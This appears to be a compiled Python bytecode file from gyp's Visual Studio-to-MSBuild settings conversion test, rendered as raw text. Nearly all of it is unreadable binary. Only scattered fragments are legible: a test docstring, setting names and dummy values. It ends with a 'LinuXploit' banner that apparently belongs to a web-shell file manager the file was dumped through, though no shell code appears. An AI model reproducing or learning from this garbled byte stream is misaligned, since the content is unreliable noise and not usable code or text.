��c<7�d
�V�e<7�f
$�W�g<7�h&,�#)�)/�28�/9�"�$�(.�(5�y<7�zF#�$�&9�F#�*�,E�F#�
-�.A�F#�
 ��	F#�

'�(;�F#�
�f�
F#�
�R�F#�
#�$7�F#�
�:�F#�
�O�F#�
!�"9�F#�
$�V�F#�
&�r�F#�
�0�F#�
��F#� 
�h�!F#�"
'�(;�#F#�$
"�2�%F#�&
��'F#�(
�
�)F#�*
��+F#�,
$�%8�-F#�.
�]�/F#�0
'��1F#�2
�v�3F#�4
�j�5F#�6
�z�7F#�8
(��9F#�:
 ��;F#�<
-�.A�=F#�>
�]�?F#�@
�M�AF#�B
�}�CF#�D
 ��EF#�F
!�/�GF#�H
%�n�IF#�J
�M�KF#�L
�&�MF#�N
�=�OF#�P
$�]�QF#�R
�Z�SF#�T
�}�UF#�V
#�M�WF#�X
�F�YF#�Z
!�"�[F#�\
�-�]F#�^
!�&�_F#�`
�v�aF#�b
$�]�cF#�d
"�=�eF#�f
$�W�gF#�h
�f�iF#�j
�6�kF#�l
�H�mF#�n
�z�oF#�p
�
�qF#�r
"�=�sF#�t
��uF#�v
,�V�wF#�x
$�V�yF#�z
�V�{F#�|
�f�}F#�~
�\�F#�@
"�6�AF#�B
(��CF#�D
�}�EF#�F
$�T�GF#�H
 �!3�IF#�J"�!�MF#�P-F�!+��)/�'1�&0�"�%+�/9�	;�!�*�,E�!���!�
!�*�!�
�z�	!�

�}�!�
 ��
!�
$�V�!�
��!�
"�6�!�
$�V�!�
!�&�!�
&�v�!�
"�6�!�
�m�!�
(��!� 
*�=�!!�"
!�&�#!�$ *�'1�*�'4�%(�%+�!(�,�/9�%+�!��;!�>':�,E�!+�$.�%/�)/�.A�$1�'�%+�'-�/�(;�!+� *�!.�$*�&0�"/�#0� -�%+�,� &�*7�#�%� 
%�i�$1�(.�*1�3�$� &�#)�&�	
(�[Q!)��d+�C�C�������	���.�0G�H����2�rc��idd�dd�dd�dd�d	d
�dd�d
d
�dd�dd�dd
�dd
�dd�dd�dd�dd�dd�dd
�idd�dd�dd�d d�d!d"�d#d"�d$d�d%d"�d&d�d'd
�d(d�d)d*�d+d,�d-d"�d.d�d/d�d0d
��id1d�d2d�d3d4�d5d�d6d�d7d�d8d�d9d:�d;d<�d=d>�d?d@�dAd�dBd�dCd�dDd�dEd�dFd��ddddGddHdddddIdJ��idKdL�dMdN�dOdP�ddQ�dRdS�dTd�dUd
�dVdW�dXdY�dZd�d[d
�d\d�d]dH�d^d_�d`d�dad"�dbdc�iddd
�ded�dfdg�d!d"�dhd
�didj�dkdl�dmd�dnd�dod�dpdq�drds�dtd�dudv�dwd�dxd�dydz��id{d|�d}d~�dd"�d�dH�d�d�d�d
�d�d��d�d�d�dW�d�d��d�dg�d�d��d�d��d�d"�d�d"�d�d��d�d��id�d�d�d��d�d��d�d
�d�d�d�d�d�d�d�d
�d�d��d�d��d�dj�d�d
�d�d�d�d�d�d�d�d�d�d
��d
dd�dsd"dddd�d��	�d�d�d�dd�d�dd��id�d��dd��d�d��d�d��d�d��d�d�d�d�d�d��d�d��d�d��d�d“d�dēd�d�d�dƓd�d�d�dƓd�d�dddʜ�d˜}idd�dd̓dd�dd͓d	dΓddϓd
d�ddГdd�ddѓddғddӓdd�dd�ddԓdd�d d�id!dՓd#d֓d$d�d%dדd&d�d'dؓd(d�d)d*�d+d,�d�d�d.d�d/d�d0dړd�d�d2d�d�dݓd5d��id6d�d�d�d8dߓd�d�d9d<�d�d�d�d�d=d>�d�d�d�d�d?d�dAd�dBd�dCd�dDd�dEd�dFd��dddddGdd�dd�d�	�idKdL�dMdN�dOdP�ddQ�dRdS�dTd�dUd�dVdW�dXdY�dZd�d[d�d\d�d]d�d^d_�d`d�dad�dbdc�iddd�ded�dfdg�dhd�didj�dkdl�dmd�dod�dpdq�drds�dtd�dwd�d�dv�dydz�d{d|�d}d~�dd��id�d�d�d�d�d��d�d�d�dW�d�d��d�dg�d�d��d�d��d�d�d�d�d�d��d�d�d�d�d�d��d�d��d�d��id�d�d�d�d�d��d�d��d�d��d�dj�d�d��d�d�d�d�d�d�d�d�d�d��d�d�d�d�d�d��d�ds�d��d��dd��d��d�d��ddd��ddd��d�d�d�d�dd�d�d�d�dd�dd�d�d�dd�d�dddd�d��d�di�d	�}tj||j�}|j||�|j	g��y
(a$	Tests the conversion of an actual project.

    A VS2008 project with most of the options defined was created through the
    VS2008 IDE.  It was then converted to VS2010.  The tool settings found in
    the .vcproj and .vcxproj files were converted to the two dictionaries
    msvs_settings and expected_msbuild_settings.

    Note that for many settings, the VS2010 converter adds macros like
    %(AdditionalIncludeDirectories) to make sure than inherited values are
    included.  Since the Gyp projects we generate do not use inheritance,
    we removed these macros.  They were:
        ClCompile:
            AdditionalIncludeDirectories:  ';%(AdditionalIncludeDirectories)'
            AdditionalOptions:  ' %(AdditionalOptions)'
            AdditionalUsingDirectories:  ';%(AdditionalUsingDirectories)'
            DisableSpecificWarnings: ';%(DisableSpecificWarnings)',
            ForcedIncludeFiles:  ';%(ForcedIncludeFiles)',
            ForcedUsingFiles:  ';%(ForcedUsingFiles)',
            PreprocessorDefinitions:  ';%(PreprocessorDefinitions)',
            UndefinePreprocessorDefinitions:
                ';%(UndefinePreprocessorDefinitions)',
        Link:
            AdditionalDependencies:  ';%(AdditionalDependencies)',
            AdditionalLibraryDirectories:  ';%(AdditionalLibraryDirectories)',
            AdditionalManifestDependencies:
                ';%(AdditionalManifestDependencies)',
            AdditionalOptions:  ' %(AdditionalOptions)',
            AddModuleNamesToAssembly:  ';%(AddModuleNamesToAssembly)',
            AssemblyLinkResource:  ';%(AssemblyLinkResource)',
            DelayLoadDLLs:  ';%(DelayLoadDLLs)',
            EmbedManagedResourceFile:  ';%(EmbedManagedResourceFile)',
            ForceSymbolReferences:  ';%(ForceSymbolReferences)',
            IgnoreSpecificDefaultLibraries:
                ';%(IgnoreSpecificDefaultLibraries)',
        ResourceCompile:
            AdditionalIncludeDirectories:  ';%(AdditionalIncludeDirectories)',
            AdditionalOptions:  ' %(AdditionalOptions)',
            PreprocessorDefinitions:  ';%(PreprocessorDefinitions)',
        Manifest:
            AdditionalManifestFiles:  ';%(AdditionalManifestFiles)',
            AdditionalOptions:  ' %(AdditionalOptions)',
            InputResourceManifests:  ';%(InputResourceManifests)',
    r&rdr(z/morer+�testr,z$(IntDir)\ar.r9r0rtr2r4z$(IntDir)\er5r�r7r8r:rsr<r6r=r>r?�abcrArBrCrDrErHr;rIrJrKrLrMrNrO�defrQ�gerRrSrTrUrVrWrXz$(IntDir)\brYrZr[r\r]z$(IntDir)\$(TargetName).pcher^z	StdAfx.hdr_zWIN32;_DEBUG;_CONSOLEr`z$(IntDir)\vc90b.pdbrarbrcrdrerf�werr/z$(IntDir)\crurs�zxrv�asdrw�s2z/mor2ry�d1rzr{r|�d5r}�23423r~rr�r�r��d4r�r�r��d2r�r�r��f5r�r��d3r��fssdfsdr�r�r�r�rjr�rhr�r�z	flob;flokr�r�r��f4r��f7r��f6r�r�r�r�r�z2$(IntDir)\$(TargetFileName).2intermediate.manifestr�r�r��f2r�r��f1r��sdsdr�r�r�z$(OutDir)\$(ProjectName)2.exer�r�r�z$(TargetDir)$(TargetName).pgddr�zFlob.pdbr�r�r�r�r�r��15r�rkr�r�r�rgr�r�r��f3�333)	r�r�r�r�r�r�r�rmr�z/more3�3084z_UNICODE;UNICODE2z$(IntDir)/$(InputName)3.res)r&r(r�rTr_r�r�r��sfsdfsd�	afdsdafsdr��sddfdsadfsar��fsdfdsr�z$(IntDir)\mt.depdfdrQr�r��	asfsfdafsr�z2$(IntDir)\$(TargetFileName).embed.manifest.resfdsfr�z$(TargetPath).manifestdfsr��sdfsfdr��sdffsdr��sfsdr�r�r�rx)rrrrz/more /Jz
$(IntDir)a�AssemblyCode�EnableFastChecksz
$(IntDir)e�FastCallr�ryr��Queuerz�Sizer{r�r�r�r�z
$(IntDir)brr}rrrz$(IntDir)$(TargetName).pcherrrz$(IntDir)vc90b.pdb�MultiThreadedDebugDLL�4Bytes�Level3z
$(IntDir)cr��ForceSafeILImagerr�UpOnlyr�r�QueueForNextLoginr!z1$(IntDir)$(TargetFileName).2intermediate.manifestr$z$(OutDir)$(ProjectName)2.exe�LinkVerboser)r+r,r�r�r�r��RequireAdministratorr��0x0c0cz$(IntDir)%(Filename)3.resr�rOrPr�z1$(IntDir)$(TargetFileName).embed.manifest.resfdsf)r rRrSrVrWrrXNr\r^s    r
�#testConvertToMSBuildSettings_actualz9TestSequenceFunctions.testConvertToMSBuildSettings_actualEs��Z>8�*�F�>8���>8�
)�&�>8�
'��	>8�

�s�>8�
!�#�
>8�
 ��>8�
$�^�>8�
"�7�>8�
 ��>8�
��>8�
%�c�>8�
$�V�>8�
-�f�>8�
(��>8� 
&�u�!>8�"
+�C�#>8�$
+�F�%>8�&
)�&�'>8�(
'��)>8�*
�V�+>8�,
�c�->8�.
 ��/>8�0
%�f�1>8�2
��3>8�4
&�v�5>8�6
!�#�7>8�8
-�g�9>8�:
!�%�;>8�<
��=>8�>
'��?>8�@
,�V�A>8�B
(��C>8�D
&�s�E>8�F
�F�G>8�H
�f�I>8�J
�.�K>8�L
!�&�M>8�N
 ��O>8�P
�f�Q>8�R
�C�S>8�T
$�%D�U>8�V
'��W>8�X
&�'>�Y>8�Z
&�'=�[>8�\
�c�]>8�^
�w�_>8�`
�F�a>8�b
��c>8�d
�V�e>8�f
$�S�g>8�h&-�)0�28�/4�"�$'�'.�!��(.�(6�}>8�~N�$�d�N�*�E�N�
-�d�N�
 ��	N�

'��N�
�g�
N�
�S�N�
#�D�N�
�7�N�
�C�N�
!�#�N�
$�V�N�
&�s�N�
�T�N�
��N� 
�c�!N�"
'��#N�$
"�3�%N�&
��'N�(
��)N�*
�c�+N�,
��-N�.
$�T�/N�0
�Y�1N�2
'��3N�4
��5N�6
�v�7N�8
�d�9N�:
�t�;N�<
(��=N�>
(��?N�@
 ��AN�B
"�6�CN�D
�T�EN�F
�D�GN�H
�t�IN�J
 ��KN�L
�s�MN�N
&�w�ON�P
%�c�QN�R
�A�UN�V
�&�WN�X
�4�YN�Z
$�T�[N�\
�T�]N�^
�t�_N�`
#�F�aN�b
#�C�cN�d
!�#�eN�f
�:�gN�h
!�&�iN�j
�v�kN�l
$�%E�mN�n
"�:�oN�p
$�S�qN�r
�f�sN�t
�v�uN�v
�7�wN�x
�C�yN�z
�t�{N�|
��}N�~
"�4�N�@
��AN�B
,�V�CN�D
$�W�EN�F
�V�GN�H
�f�IN�J
�S�KN�L$'�)/�#�%)�!$�!�*0�'.��]N�`-1�!)��)/�':�&C�"�#$�%�%�y�%���%�
�
�%�
 ��	%�

(�)?�%�
�W�
%�
#�F�%�
%�k�%�
#�A�%�
!�"=�%�
"�8�%�
��%�
$�W�%�
�v�%� 
��!%�"
)�&�#%�$
!�&�%%�&(/�#�)%�ok&�M�Z<6�*�F�<6���<6�
)�&�<6�
'��	<6�

�~�<6�
!�"4�
<6�
 ��<6�
$�\�<6�
"�7�<6�
 ��<6�
��<6�
%�&7�<6�
(��<6�
&�u�<6�
+�,E�<6� 
+�F�!<6�"
�V�#<6�$
�g�%<6�&
 ��'<6�(
%�f�)<6�*
��+<6�,
&�v�-<6�.
!�(�/<6�0
-�g�1<6�2
!�%�3<6�4
��5<6�6
#�F�7<6�8
,�V�9<6�:
(��;<6�<
&�';�=<6�>
!�&�?<6�@
�f�A<6�B
�l�C<6�D
!�&�E<6�F
 ��G<6�H
�V�I<6�J
�F�K<6�L
 ��M<6�N
$�[�O<6�P
*�+H�Q<6�R
%�f�S<6�T
&�'>�U<6�V
,�V�W<6�X
��Y<6�Z
&�';�[<6�\
�5�]<6�^
�w�_<6�`
�F�a<6�b
��c<6�d
�V�e<6�f
$�X�g<6�h&-�#)�)0�28�/4�"�$�(.�(4�y<6�zF�$�d�F�*�E�F�
-�d�F�
 ��	F�

'��F�
�g�
F�
�V�F�
#�D�F�
�7�F�
�.�F�
!�"9�F�
$�V�F�
&�r�F�
�T�F�
��F� 
�h�!F�"
'��#F�$
"�7�%F�&
��'F�(
��)F�*
��+F�,
$�T�-F�.
�Y�/F�0
'��1F�2
�v�3F�4
�d�5F�6
�t�7F�8
(��9F�:
 ��;F�<
-�k�=F�>
�T�?F�@
�D�AF�B
�t�CF�D
 ��EF�F
!�"5�GF�H
%�&A�IF�J
�O�KF�L
�&�MF�N
�4�OF�P
$�T�QF�R
�T�SF�T
�t�UF�V
#�F�WF�X
�F�YF�Z
!�&�[F�\
�8�]F�^
!�&�_F�`
�v�aF�b
$�%E�cF�d
"�:�eF�f
$�W�gF�h
�f�iF�j
�7�kF�l
�M�mF�n
�t�oF�p
��qF�r
"�4�sF�t
��uF�v
,�V�wF�x
$�W�yF�z
�V�{F�|
�f�}F�~
�\�F�@
"�7�AF�B
(��CF�D
�t�EF�F
$�T�GF�H
 �!7�IF�J"��MF�P-1�!)��)/�':�&A�"�$�(1�!,� -�!)�$*�&1�"=�#+� (�%,�%� &�*0�#�%� (/�*0�2�%� '�#)�!�	
�
%�?�$A�Kh!
��R+�C�C�������	���.�0G�H����2�rN)
�__name__�
__module__�__qualname__rrr$r�rZrbrfrpr�r��rr
rrs>���7�1� o
�bTO�l��@2�hq�f
Err�__main__)�__doc__r�ImportError�io�unittest�gyp.MSVSSettingsr"�TestCaserr��mainr�rr
�<module>r�s^��/����'�y�H�-�-�y�x-�z���(�-�-�/���E.����s�A�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit